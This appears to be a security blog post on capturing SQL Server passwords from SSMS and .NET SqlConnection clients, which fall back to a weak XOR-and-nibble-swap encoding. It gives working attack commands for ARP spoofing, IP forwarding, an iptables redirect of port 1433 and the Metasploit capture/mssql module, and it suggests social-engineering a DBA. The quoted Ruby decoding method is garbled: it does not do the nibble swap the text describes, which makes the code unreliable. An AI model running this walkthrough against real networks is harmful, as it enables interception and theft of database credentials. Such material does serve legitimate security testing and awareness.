First looking through the source of capture/mssql, we come across this Ruby method:
def mssql_tds_decrypt(pass) Rex::Text.to_ascii(pass.unpack("C*").map {|c| ((( c ^ 0xa5 ) & 0x0F) > 4) }.pack("C*")) end
That single word, 'decode' should send shivers down any security researchers spine. So what is actually happening here? Well each character of the password goes through the following process:
Each nibble of the byte is XOR’ed with 0xa5, and then swapped
That's it…
After a bit of searching we come across CVE-2002-1872 which confirms that the vulnerability affects SQL Server up to and including SQL Server 2000. So as long as we have a version of SQL Server Management Studio to communicate with a server version later than SQL Server 2000, we’re OK right? Wrong… lets look at another method in the module:
def on_client_data(c): … # no errors, and the packet was a prelogin # if we just close the connection here, it seems that the client: # SQL Server Management Studio 2008R2, falls back to the weaker encoded # password authentication.
So it seems that SQL Server Management Studio 2008 r2 will fall back to the vulnerable SQL Server 2000 authentication method if required, which combined with the above decoding method means that passwords can be retrieved in plain text when SQL Authentication is used. Simple as that!
So now we have the vulnerability, but how do we get our user to authenticate against our metasploit module? Well that’s where good old social engineering comes into play. Lets imagine asking our DBA "hey, we’ve just spotted this SQL server on the network which we want to check for [Insert Generic Reason Here], any chance you could see if you have access?". There is no way he/she is going to pass up this opportunity to be helpful right? OK I know, your team are all savvy with security practices and wouldn’t fall for such a obvious social engineering attempt, so what else can we do? Well we could use a MITM attack to put ourselves between the client and the server and force traffic to our metasploit module.
We are going to use Kali Linux to do this, but the tools we use are available for most Linux distributions. First we need to enable IP forwarding to ensure that we are forwarding traffic being passed to us:
echo 1 > /proc/sys/net/ipv4/ip_forward
Next we start our MITM arp spoofing attempt between out client and SQL server:
arpspoof -i eth0 -t [sql server address] [client address] arpspoof -i eth0 -t [client address] [sql server address]
We kick off our metasploit module:
use auxiliary/server/capture/mssql set SRVPORT 1433 run
And finally we use iptables to add a NAT rule redirecting traffic attempting to reach port 1433 (MSSQL) to our metasploit module running on localhost:
iptables -t nat -A PREROUTING -p tcp -d [sql server address] —dport 1433 -j REDIRECT —to-ports 1433
Now each time the victim tries to authenticate to SQL Server with SQL Server Authentication using SQL Management Studio, their traffic will be redirected to our metasplot module:
Nice! It's worth noting that SQL Management Studio will be told that authentication has failed with the server, so caution needs to be used when testing this:
So now that we have a way to capture SSMS credentials, let's consider another common source of SQL Server traffic, a web application. More specifically a ASP.NET web application. In this scenario we have a .NET application attempting to communicate with SQL Server using SqlConnection to make the connection between the web server and SQL Server using SQL Authentication. Does the same issue occur?
Our test client is pretty basic, we use a SqlConnection with a connection string containing our authentication details (the test code used can be found on github here). Again we start up Kali and use the above configuration to MITM traffic between us and the web application. What happens when the .NET application tries to connect to SQL Server?
That's right, .NET SqlConnection also suffers from the same backwards compatibility issue as SQL Management Studio, authentication will fall back to SQL Server 2000 authentication mode with its switch nibble and XOR encoding.
0 notes